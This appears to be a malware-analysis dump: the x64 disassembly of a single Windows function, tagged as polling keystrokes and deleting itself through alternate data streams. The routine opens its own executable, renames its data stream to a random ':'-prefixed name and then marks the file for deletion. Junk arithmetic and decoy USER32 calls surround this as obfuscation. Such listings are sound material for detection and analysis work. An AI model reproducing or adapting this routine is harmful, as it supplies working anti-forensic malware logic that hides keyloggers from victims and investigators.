Function at 0x2f8aa226b
Capabilities:
Log keystrokes via polling
Self delete using alternate data streams

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x480
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x420], rcx
mov eax, dword [0x2f8aaf02c]
add ax, 0x4582
mov word [0x2f8aaf02a], ax
movzx eax, byte [0x2f8aaf028]
movzx eax, al
and eax, 0xc88b5fb
mov dword [0x2f8aaf02c], eax
movzx eax, word [0x2f8aaf030]
sub eax, 0x32
mov byte [0x2f8aaf028], al
movzx eax, word [0x2f8aaf02a]
xor eax, 0x5a
mov byte [0x2f8aaf028], al
movzx eax, byte [0x2f8aaf028]
mov edx, 0xffffffdb
imul eax, edx
mov byte [0x2f8aaf028], al
movzx eax, word [0x2f8aaf02a]
xor eax, 0xfffffff1
mov byte [0x2f8aaf028], al
movzx eax, word [0x2f8aaf02a]
or ax, 0xda0f
mov word [0x2f8aaf02a], ax
movzx eax, byte [0x2f8aaf028]
movzx eax, al
and ax, 0x9535
mov word [0x2f8aaf030], ax
movzx eax, word [0x2f8aaf030]
movzx eax, ax
or eax, 0x6a56fd16
mov dword [0x2f8aaf02c], eax
mov eax, dword [0x2f8aaf02c]
add ax, 0x5ccd
mov word [0x2f8aaf030], ax
mov eax, dword [0x2f8aaf02c]
add ax, 0x1724
mov word [0x2f8aaf02a], ax
lea rax, [rbp + 0x10]
mov edx, 0x20a
mov rcx, rax
call fcn.2f8aa8009
movzx eax, byte [0x2f8aaf028]
movzx eax, al
sub ax, 0x78a8
mov word [0x2f8aaf02a], ax
movzx eax, word [0x2f8aaf02a]
and ax, 0xb8d
mov word [0x2f8aaf030], ax
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0xa0
mov rax, qword [sym.imp.USER32.dll_RedrawWindow]
call rax
mov eax, dword [0x2f8aaf02c]
and eax, 0xc0dfabe1
mov dword [0x2f8aaf02c], eax
movzx eax, word [0x2f8aaf030]
xor ax, 0x8556
mov word [0x2f8aaf030], ax
mov edx, 0
mov ecx, 0x40
mov rax, qword [sym.imp.USER32.dll_GetIconInfo]
call rax
movzx eax, byte [0x2f8aaf028]
mov edx, 0xffffffa1
imul eax, edx
mov byte [0x2f8aaf028], al
movzx eax, word [0x2f8aaf02a]
or ax, 0x4f43
mov word [0x2f8aaf030], ax
lea rdx, [rbp + 0x10]
mov rax, qword [rbp + 0x420]
mov r8d, 0x104
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call rax
test eax, eax
sete al
test al, al
je 0x2f8aa24fb
movzx eax, word [0x2f8aaf030]
movzx eax, ax
imul eax, eax, 0x49c901da
mov dword [0x2f8aaf02c], eax
movzx eax, word [0x2f8aaf030]
and eax, 0xd
mov byte [0x2f8aaf028], al
movzx eax, word [0x2f8aaf02a]
movzx eax, ax
xor eax, 0x46fb8471
mov dword [0x2f8aaf02c], eax
movzx eax, byte [0x2f8aaf028]
sub eax, 0x5d
mov byte [0x2f8aaf028], al
movzx eax, word [0x2f8aaf030]
xor ax, 0xe7e6
mov word [0x2f8aaf030], ax
movzx eax, word [0x2f8aaf030]
movzx eax, ax
imul eax, eax, 0x8a9da39d
mov dword [0x2f8aaf02c], eax
movzx eax, byte [0x2f8aaf028]
movzx eax, al
or eax, 0x2728dda8
mov dword [0x2f8aaf02c], eax
movzx eax, word [0x2f8aaf02a]
or ax, 0x76d9
mov word [0x2f8aaf02a], ax
mov ecx, 0x8b
mov rax, qword [sym.imp.USER32.dll_GetDC]
call rax
movzx eax, byte [0x2f8aaf028]
or eax, 0xffffff87
mov byte [0x2f8aaf028], al
mov edx, 0
mov ecx, 0x2d
mov rax, qword [sym.imp.USER32.dll_ReleaseDC]
call rax
jmp 0x2f8aa34a5
movzx eax, word [0x2f8aaf02a]
xor ax, 0x10ae
mov word [0x2f8aaf02a], ax
movzx eax, word [0x2f8aaf030]
sub ax, 0x460d
mov word [0x2f8aaf030], ax
movzx eax, word [0x2f8aaf02a]
sub ax, 0x23dc
mov word [0x2f8aaf02a], ax
mov edx, 0
mov ecx, 0xce
mov rax, qword [sym.imp.USER32.dll_GetSystemMenu]
call rax
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_IsWindow]
call rax
movzx eax, word [0x2f8aaf02a]
imul ax, ax, 0x44cb
mov word [0x2f8aaf030], ax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetKeyboardState]
call rax
movzx eax, byte [0x2f8aaf028]
movzx eax, al
sub ax, 0x778e
mov word [0x2f8aaf030], ax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 0
mov edx, 0x10000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp + 0x3f8], rax
movzx eax, byte [0x2f8aaf028]
movzx eax, al
xor ax, 0x1b1f
mov word [0x2f8aaf02a], ax
movzx eax, byte [0x2f8aaf028]
add eax, 0x1c
mov byte [0x2f8aaf028], al
movzx eax, byte [0x2f8aaf028]
movzx eax, al
sub ax, 0x77ec
mov word [0x2f8aaf02a], ax
pxor xmm0, xmm0
movaps xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [rbp - 0x40]
movaps xmmword [rbp - 0x10], xmm1
movzx eax, word [rbp - 0x40]
mov word [rbp], ax
mov eax, dword [0x2f8aaf02c]
imul ax, ax, 0xafd
mov word [0x2f8aaf02a], ax
movzx eax, word [0x2f8aaf02a]
add eax, 0x20
mov byte [0x2f8aaf028], al
movzx eax, word [0x2f8aaf030]
add ax, 0x5579
mov word [0x2f8aaf030], ax
movzx eax, word [0x2f8aaf030]
sub eax, 0x70
mov byte [0x2f8aaf028], al
mov eax, dword [0x2f8aaf02c]
or ax, 0xff74
mov word [0x2f8aaf030], ax
mov word [rbp - 0x10], 0x3a
mov eax, dword [0x2f8aaf02c]
and eax, 0x85903250
mov dword [0x2f8aaf02c], eax
movzx eax, word [0x2f8aaf02a]
movzx eax, ax
imul eax, eax, 0x5088b3c4
mov dword [0x2f8aaf02c], eax
movzx eax, word [0x2f8aaf02a]
add ax, 0x51ce
mov word [0x2f8aaf02a], ax
movzx eax, word [0x2f8aaf030]
xor eax, 0x79
mov byte [0x2f8aaf028], al
lea rax, [rbp + 0x220]
lea rdx, [rbp + 0x25f]
mov rcx, rax
call fcn.2f8aa1b32
mov qword [rbp + 0x3d0], 0
jmp 0x2f8aa273c
lea rax, [rbp + 0x220]
lea rcx, [rax + 2]
mov rax, qword [rbp + 0x3d0]
mov rdx, rax
call fcn.2f8aae8a0
movzx eax, word [rax]
movzx esi, ax
lea rax, [rbp + 0x220]
lea rcx, [rax + 2]
mov rax, qword [rbp + 0x3d0]
mov rdx, rax
call fcn.2f8aae8a0
mov rbx, rax
lea rax, [rbp + 0x220]
mov edx, esi
mov rcx, rax
call fcn.2f8aae570
mov word [rbx], ax
add qword [rbp + 0x3d0], 1
cmp qword [rbp + 0x3d0], 0x19
jbe 0x2f8aa26e3
lea rax, [rbp + 0x220]
add rax, 2
mov edx, 0x1a
mov rcx, rax
call fcn.2f8aae8a0
mov word [rax], 0
lea rax, [rbp + 0x220]
add rax, 2
mov rcx, rax
call fcn.2f8aae880
mov rbx, rax
nop
call fcn.2f8aacad0
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 3
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1a
sub eax, ecx
mov edx, eax
movsxd rax, edx
add rax, rax
add rax, rbx
movzx eax, word [rax]
mov word [rbp - 0xe], ax
movzx eax, byte [0x2f8aaf028]
movzx eax, al
add ax, 0x5eb4
mov word [0x2f8aaf030], ax
movzx eax, word [0x2f8aaf030]
xor ax, 0x6f24
mov word [0x2f8aaf030], ax
movzx eax, word [0x2f8aaf02a]
and eax, 0xffffffac
mov byte [0x2f8aaf028], al
movzx eax, byte [0x2f8aaf028]
movzx eax, al
add ax, 0x6cf1
mov word [0x2f8aaf030], ax
lea rax, [rbp + 0x260]
lea rdx, [rbp + 0x29f]
mov rcx, rax
call fcn.2f8aa1c68
mov qword [rbp + 0x3c8], 0
jmp 0x2f8aa2876
lea rax, [rbp + 0x260]
lea rcx, [rax + 2]
mov rax, qword [rbp + 0x3c8]
mov rdx, rax
call fcn.2f8aae8a0
movzx eax, word [rax]
movzx esi, ax
lea rax, [rbp + 0x260]
lea rcx, [rax + 2]
mov rax, qword [rbp + 0x3c8]
mov rdx, rax
call fcn.2f8aae8a0
mov rbx, rax
lea rax, [rbp + 0x260]
mov edx, esi
mov rcx, rax
call fcn.2f8aae5a0
mov word [rbx], ax
add qword [rbp + 0x3c8], 1
cmp qword [rbp + 0x3c8], 0x19
jbe 0x2f8aa281d
lea rax, [rbp + 0x260]
add rax, 2
mov edx, 0x1a
mov rcx, rax
call fcn.2f8aae8a0
mov word [rax], 0
lea rax, [rbp + 0x260]
add rax, 2
mov rcx, rax
call fcn.2f8aae880
mov rbx, rax
nop
call fcn.2f8aacad0
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 3
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1a
sub eax, ecx
mov edx, eax
movsxd rax, edx
add rax, rax
add rax, rbx
movzx eax, word [rax]
mov word [rbp - 0xc], ax
mov eax, dword [0x2f8aaf02c]
or ax, 0xc318
mov word [0x2f8aaf030], ax
movzx eax, word [0x2f8aaf030]
xor eax, 0x62
mov byte [0x2f8aaf028], al
movzx eax, word [0x2f8aaf030]
sub ax, 0x27f0
mov word [0x2f8aaf02a], ax
movzx eax, word [0x2f8aaf030]
or ax, 0x172a
mov word [0x2f8aaf02a], ax
mov edx, 0
mov ecx, 0x66
mov rax, qword [sym.imp.USER32.dll_GetSystemMenu]
call rax
movzx eax, word [0x2f8aaf030]
and eax, 0x2b
mov byte [0x2f8aaf028], al
mov eax, dword [0x2f8aaf02c]
or ax, 0xc88a
mov word [0x2f8aaf02a], ax
movzx eax, word [0x2f8aaf02a]
or ax, 0x3904
mov word [0x2f8aaf030], ax
lea rax, [rbp + 0x2a0]
lea rdx, [rbp + 0x2df]
mov rcx, rax
call fcn.2f8aa1d9e
mov qword [rbp + 0x3c0], 0
jmp 0x2f8aa29ef
lea rax, [rbp + 0x2a0]
lea rcx, [rax + 2]
mov rax, qword [rbp + 0x3c0]
mov rdx, rax
call fcn.2f8aae8a0
movzx eax, word [rax]
movzx esi, ax
lea rax, [rbp + 0x2a0]
lea rcx, [rax + 2]
mov rax, qword [rbp + 0x3c0]
mov rdx, rax
call fcn.2f8aae8a0
mov rbx, rax
lea rax, [rbp + 0x2a0]
mov edx, esi
mov rcx, rax
call fcn.2f8aae5d0
mov word [rbx], ax
add qword [rbp + 0x3c0], 1
cmp qword [rbp + 0x3c0], 0x19
jbe 0x2f8aa2996
lea rax, [rbp + 0x2a0]
add rax, 2
mov edx, 0x1a
mov rcx, rax
call fcn.2f8aae8a0
mov word [rax], 0
lea rax, [rbp + 0x2a0]
add rax, 2
mov rcx, rax
call fcn.2f8aae880
mov rbx, rax
nop
call fcn.2f8aacad0
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 3
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1a
sub eax, ecx
mov edx, eax
movsxd rax, edx
add rax, rax
add rax, rbx
movzx eax, word [rax]
mov word [rbp - 0xa], ax
movzx eax, word [0x2f8aaf02a]
sub ax, 0x6b03
mov word [0x2f8aaf02a], ax
movzx eax, byte [0x2f8aaf028]
add eax, 0xffffff80
mov byte [0x2f8aaf028], al
movzx eax, word [0x2f8aaf02a]
imul ax, ax, 0xdd1e
mov word [0x2f8aaf030], ax
lea rax, [rbp + 0x2e0]
lea rdx, [rbp + 0x31f]
mov rcx, rax
call fcn.2f8aa1ed4
mov qword [rbp + 0x3b8], 0
jmp 0x2f8aa2b12
lea rax, [rbp + 0x2e0]
lea rcx, [rax + 2]
mov rax, qword [rbp + 0x3b8]
mov rdx, rax
call fcn.2f8aae8a0
movzx eax, word [rax]
movzx esi, ax
lea rax, [rbp + 0x2e0]
lea rcx, [rax + 2]
mov rax, qword [rbp + 0x3b8]
mov rdx, rax
call fcn.2f8aae8a0
mov rbx, rax
lea rax, [rbp + 0x2e0]
mov edx, esi
mov rcx, rax
call fcn.2f8aae600
mov word [rbx], ax
add qword [rbp + 0x3b8], 1
cmp qword [rbp + 0x3b8], 0x19
jbe 0x2f8aa2ab9
lea rax, [rbp + 0x2e0]
add rax, 2
mov edx, 0x1a
mov rcx, rax
call fcn.2f8aae8a0
mov word [rax], 0
lea rax, [rbp + 0x2e0]
add rax, 2
mov rcx, rax
call fcn.2f8aae880
mov rbx, rax
nop
call fcn.2f8aacad0
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 3
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1a
sub eax, ecx
mov edx, eax
movsxd rax, edx
add rax, rax
add rax, rbx
movzx eax, word [rax]
mov word [rbp - 8], ax
mov eax, dword [0x2f8aaf02c]
sub eax, 9
mov byte [0x2f8aaf028], al
mov eax, dword [0x2f8aaf02c]
add ax, 0x7f3a
mov word [0x2f8aaf02a], ax
movzx eax, byte [0x2f8aaf028]
add eax, 0x4c
mov byte [0x2f8aaf028], al
lea rax, [rbp + 0x320]
lea rdx, [rbp + 0x35f]
mov rcx, rax
call fcn.2f8aa200a
mov qword [rbp + 0x3b0], 0
jmp 0x2f8aa2c30
lea rax, [rbp + 0x320]
lea rcx, [rax + 2]
mov rax, qword [rbp + 0x3b0]
mov rdx, rax
call fcn.2f8aae8a0
movzx eax, word [rax]
movzx esi, ax
lea rax, [rbp + 0x320]
lea rcx, [rax + 2]
mov rax, qword [rbp + 0x3b0]
mov rdx, rax
call fcn.2f8aae8a0
mov rbx, rax
lea rax, [rbp + 0x320]
mov edx, esi
mov rcx, rax
call fcn.2f8aae630
mov word [rbx], ax
add qword [rbp + 0x3b0], 1
cmp qword [rbp + 0x3b0], 0x19
jbe 0x2f8aa2bd7
lea rax, [rbp + 0x320]
add rax, 2
mov edx, 0x1a
mov rcx, rax
call fcn.2f8aae8a0
mov word [rax], 0
lea rax, [rbp + 0x320]
add rax, 2
mov rcx, rax
call fcn.2f8aae880
mov rbx, rax
nop
call fcn.2f8aacad0
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 3
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1a
sub eax, ecx
mov edx, eax
movsxd rax, edx
add rax, rax
add rax, rbx
movzx eax, word [rax]
mov word [rbp - 6], ax
mov edx, 0
mov ecx, 0xb5
mov rax, qword [sym.imp.USER32.dll_GetSystemMenu]
call rax
movzx eax, word [0x2f8aaf030]
sub eax, 0x79
mov byte [0x2f8aaf028], al
mov ecx, 0x58
mov rax, qword [sym.imp.USER32.dll_GetSysColorBrush]
call rax
movzx eax, byte [0x2f8aaf028]
movzx eax, al
imul eax, eax, 0x77df574
mov dword [0x2f8aaf02c], eax
movzx eax, word [0x2f8aaf02a]
xor ax, 0x75d2
mov word [0x2f8aaf02a], ax
movzx eax, word [0x2f8aaf030]
movzx eax, ax
xor eax, 0x7e94c19e
mov dword [0x2f8aaf02c], eax
movzx eax, word [0x2f8aaf02a]
movzx eax, ax
xor eax, 0x8b3ab05c
mov dword [0x2f8aaf02c], eax
mov eax, dword [0x2f8aaf02c]
sub ax, 0x797f
mov word [0x2f8aaf030], ax
lea rax, [rbp + 0x360]
lea rdx, [rbp + 0x3a7]
mov rcx, rax
call fcn.2f8aa2140
mov qword [rbp + 0x3a8], 0
jmp 0x2f8aa2db2
lea rax, [rbp + 0x360]
lea rcx, [rax + 2]
mov rax, qword [rbp + 0x3a8]
mov rdx, rax
call fcn.2f8aae8a0
movzx eax, word [rax]
movzx esi, ax
lea rax, [rbp + 0x360]
lea rcx, [rax + 2]
mov rax, qword [rbp + 0x3a8]
mov rdx, rax
call fcn.2f8aae8a0
mov rbx, rax
lea rax, [rbp + 0x360]
mov edx, esi
mov rcx, rax
call fcn.2f8aae660
mov word [rbx], ax
add qword [rbp + 0x3a8], 1
cmp qword [rbp + 0x3a8], 0x19
jbe 0x2f8aa2d59
lea rax, [rbp + 0x360]
add rax, 2
mov edx, 0x1a
mov rcx, rax
call fcn.2f8aae8a0
mov word [rax], 0
lea rax, [rbp + 0x360]
add rax, 2
mov rcx, rax
call fcn.2f8aae880
mov rbx, rax
nop
call fcn.2f8aacad0
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 3
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1a
sub eax, ecx
mov edx, eax
movsxd rax, edx
add rax, rax
add rax, rbx
movzx eax, word [rax]
mov word [rbp - 4], ax
mov eax, dword [0x2f8aaf02c]
sub eax, 0x3d
mov byte [0x2f8aaf028], al
movzx eax, byte [0x2f8aaf028]
sub eax, 0x6d
mov byte [0x2f8aaf028], al
movzx eax, word [0x2f8aaf02a]
imul ax, ax, 0xf75a
mov word [0x2f8aaf030], ax
mov qword [rbp - 0x18], 0
movzx eax, word [0x2f8aaf030]
add ax, 0x1b9c
mov word [0x2f8aaf02a], ax
movzx eax, word [0x2f8aaf02a]
movzx eax, ax
sub eax, 0x105879c0
mov dword [0x2f8aaf02c], eax
mov eax, dword [0x2f8aaf02c]
or ax, 0xe06d
mov word [0x2f8aaf030], ax
movzx eax, byte [0x2f8aaf028]
sub eax, 0x5a
mov byte [0x2f8aaf028], al
mov eax, dword [0x2f8aaf02c]
or eax, 0x2798b024
mov dword [0x2f8aaf02c], eax
mov eax, dword [0x2f8aaf02c]
and eax, 0x558572ee
mov dword [0x2f8aaf02c], eax
mov qword [rbp - 0x20], 0x28
movzx eax, word [0x2f8aaf030]
movzx eax, ax
sub eax, 0x1c24fc97
mov dword [0x2f8aaf02c], eax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetKeyboardState]
call rax
movzx eax, word [0x2f8aaf030]
movzx eax, ax
or eax, 0x89d4121c
mov dword [0x2f8aaf02c], eax
movzx eax, byte [0x2f8aaf028]
movzx eax, al
or ax, 0x60ea
mov word [0x2f8aaf030], ax
movzx eax, byte [0x2f8aaf028]
movzx eax, al
or ax, 0x67c6
mov word [0x2f8aaf02a], ax
movzx eax, word [0x2f8aaf030]
xor ax, 0x25ff
mov word [0x2f8aaf030], ax
lea rdx, [rbp - 0x20]
lea rax, [rbp - 0x18]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov r9, rdx
mov r8d, 0
mov rdx, rax
mov rcx, 0xffffffffffffffff
call fcn.2f8aad3c3
mov dword [rbp + 0x3f4], eax
mov rax, qword [rbp - 0x18]
mov edx, 0x28
mov rcx, rax
call fcn.2f8aa8009
movzx eax, byte [0x2f8aaf028]
movzx eax, al
imul ax, ax, 0x8dbd
mov word [0x2f8aaf02a], ax
movzx eax, byte [0x2f8aaf028]
movzx eax, al
xor eax, 0xea248dfa
mov dword [0x2f8aaf02c], eax
movzx eax, word [0x2f8aaf02a]
movzx eax, ax
sub eax, 0x7ed1bfaa
mov dword [0x2f8aaf02c], eax
movzx eax, word [0x2f8aaf030]
movzx eax, ax
add eax, 0x3ad96a95
mov dword [0x2f8aaf02c], eax
movzx eax, word [0x2f8aaf030]
movzx eax, ax
xor eax, 0x68d36d04
mov dword [0x2f8aaf02c], eax
movzx eax, byte [0x2f8aaf028]
xor eax, 0xfffffff5
mov byte [0x2f8aaf028], al
movzx eax, byte [0x2f8aaf028]
movzx eax, al
xor ax, 0x2937
mov word [0x2f8aaf030], ax
movzx eax, word [0x2f8aaf02a]
movzx eax, ax
imul eax, eax, 0xd386ec26
mov dword [0x2f8aaf02c], eax
mov rax, qword [rbp - 0x18]
mov qword [rbp + 0x3e8], rax
movzx eax, byte [0x2f8aaf028]
movzx eax, al
sub eax, 0x35b5f22f
mov dword [0x2f8aaf02c], eax
movzx eax, byte [0x2f8aaf028]
movzx eax, al
add ax, 0x37c
mov word [0x2f8aaf02a], ax
movzx eax, byte [0x2f8aaf028]
movzx eax, al
sub ax, 0x7684
mov word [0x2f8aaf030], ax
movzx eax, byte [0x2f8aaf028]
movzx eax, al
add eax, 0x68dc052a
mov dword [0x2f8aaf02c], eax
lea rax, [rbp - 0x10]
mov qword [rbp + 0x3e0], rax
movzx eax, byte [0x2f8aaf028]
add eax, 0xa
mov byte [0x2f8aaf028], al
mov eax, dword [0x2f8aaf02c]
sub eax, 0x20
mov byte [0x2f8aaf028], al
movzx eax, word [0x2f8aaf030]
xor ax, 0xfed6
mov word [0x2f8aaf030], ax
movzx eax, byte [0x2f8aaf028]
movzx eax, al
xor eax, 0x993c2384
mov dword [0x2f8aaf02c], eax
mov ecx, 0x63
mov rax, qword [sym.imp.USER32.dll_GetSysColorBrush]
call rax
movzx eax, word [0x2f8aaf02a]
add ax, 0x6211
mov word [0x2f8aaf030], ax
mov eax, dword [0x2f8aaf02c]
and ax, 0x1b54
mov word [0x2f8aaf030], ax
mov eax, dword [0x2f8aaf02c]
imul ax, ax, 0xdc9
mov word [0x2f8aaf02a], ax
mov rax, qword [rbp + 0x3e8]
mov dword [rax + 0x10], 8
mov rax, qword [rbp + 0x3e8]
mov qword [rax + 8], 0
mov edx, 0
mov ecx, 0xdf
mov rax, qword [sym.imp.USER32.dll_GetIconInfo]
call rax
movzx eax, word [0x2f8aaf030]
or eax, 0x5f
mov byte [0x2f8aaf028], al
movzx eax, byte [0x2f8aaf028]
movzx eax, al
imul eax, eax, 0x235aef7c
mov dword [0x2f8aaf02c], eax
mov eax, dword [0x2f8aaf02c]
sub ax, 0x407b
mov word [0x2f8aaf030], ax
mov rax, qword [rbp + 0x3e8]
lea rcx, [rax + 0x14]
mov rax, qword [rbp + 0x3e0]
mov r8d, 0xf
mov rdx, rax
call fcn.2f8aa4e75
movzx eax, byte [0x2f8aaf028]
movzx eax, al
add ax, 0x2e2b
mov word [0x2f8aaf02a], ax
movzx eax, word [0x2f8aaf02a]
movzx eax, ax
xor eax, 0x1c1b3544
mov dword [0x2f8aaf02c], eax
mov eax, dword [0x2f8aaf02c]
and eax, 0xffffffd9
mov byte [0x2f8aaf028], al
mov rdx, qword [rbp + 0x3e8]
mov rax, qword [rbp + 0x3f8]
mov r9d, 0x27
mov r8, rdx
mov edx, 3
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
call rax
test eax, eax
setne al
mov byte [rbp + 0x3df], al
movzx eax, byte [0x2f8aaf028]
movzx eax, al
imul eax, eax, 0x5644d1a1
mov dword [0x2f8aaf02c], eax
movzx eax, byte [0x2f8aaf028]
or eax, 0xc
mov byte [0x2f8aaf028], al
movzx eax, word [0x2f8aaf030]
movzx eax, ax
sub eax, 0x58201bfc
mov dword [0x2f8aaf02c], eax
movzx eax, word [0x2f8aaf02a]
xor eax, 0xffffffb6
mov byte [0x2f8aaf028], al
movzx eax, byte [0x2f8aaf028]
movzx eax, al
and ax, 0x8201
mov word [0x2f8aaf02a], ax
mov eax, dword [0x2f8aaf02c]
and ax, 0x9e7
mov word [0x2f8aaf030], ax
mov rax, qword [rbp + 0x3f8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 0
mov edx, 0x10000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp + 0x3f8], rax
movzx eax, byte [0x2f8aaf028]
movzx eax, al
or ax, 0x9b64
mov word [0x2f8aaf02a], ax
movzx eax, word [0x2f8aaf02a]
movzx eax, ax
add eax, 0x39157c24
mov dword [0x2f8aaf02c], eax
movzx eax, word [0x2f8aaf030]
and eax, 0x3c
mov byte [0x2f8aaf028], al
movzx eax, byte [0x2f8aaf028]
movzx eax, al
or ax, 0x4663
mov word [0x2f8aaf02a], ax
movzx eax, word [0x2f8aaf02a]
or eax, 0xfffffffb
mov byte [0x2f8aaf028], al
mov eax, dword [0x2f8aaf02c]
or ax, 0x37c6
mov word [0x2f8aaf02a], ax
movzx eax, word [0x2f8aaf02a]
or eax, 0x60
mov byte [0x2f8aaf028], al
mov eax, dword [0x2f8aaf02c]
or eax, 0xb55efa78
mov dword [0x2f8aaf02c], eax
movzx eax, word [0x2f8aaf030]
add ax, 0x242
mov word [0x2f8aaf030], ax
movzx eax, word [0x2f8aaf030]
or ax, 0xcdcf
mov word [0x2f8aaf030], ax
mov ecx, 0x4f
mov rax, qword [sym.imp.USER32.dll_IsWindow]
call rax
movzx eax, word [0x2f8aaf030]
xor eax, 0xffffff9b
mov byte [0x2f8aaf028], al
mov eax, dword [0x2f8aaf02c]
mov edx, 0x46
imul eax, edx
mov byte [0x2f8aaf028], al
movzx eax, word [0x2f8aaf030]
mov edx, eax
mov eax, edx
shl eax, 2
add eax, edx
neg eax
mov byte [0x2f8aaf028], al
lea rax, [rbp - 0x21]
mov edx, 1
mov rcx, rax
call fcn.2f8aa8009
mov byte [rbp - 0x21], 1
lea rdx, [rbp - 0x21]
mov rax, qword [rbp + 0x3f8]
mov r9d, 1
mov r8, rdx
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
call rax
test eax, eax
setne al
mov byte [rbp + 0x3df], al
movzx eax, word [0x2f8aaf02a]
movzx eax, ax
imul eax, eax, 0x2642dd1f
mov dword [0x2f8aaf02c], eax
movzx eax, word [0x2f8aaf02a]
add ax, 0x60fb
mov word [0x2f8aaf02a], ax
movzx eax, word [0x2f8aaf030]
movzx eax, ax
imul eax, eax, 0xd44786ac
mov dword [0x2f8aaf02c], eax
movzx eax, word [0x2f8aaf02a]
sub ax, 0x454c
mov word [0x2f8aaf030], ax
movzx eax, word [0x2f8aaf02a]
and ax, 0x505c
mov word [0x2f8aaf030], ax
movzx eax, byte [0x2f8aaf028]
or eax, 0x52
mov byte [0x2f8aaf028], al
mov rax, qword [rbp + 0x3f8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x480
pop rbx
pop rsi
pop rbp
ret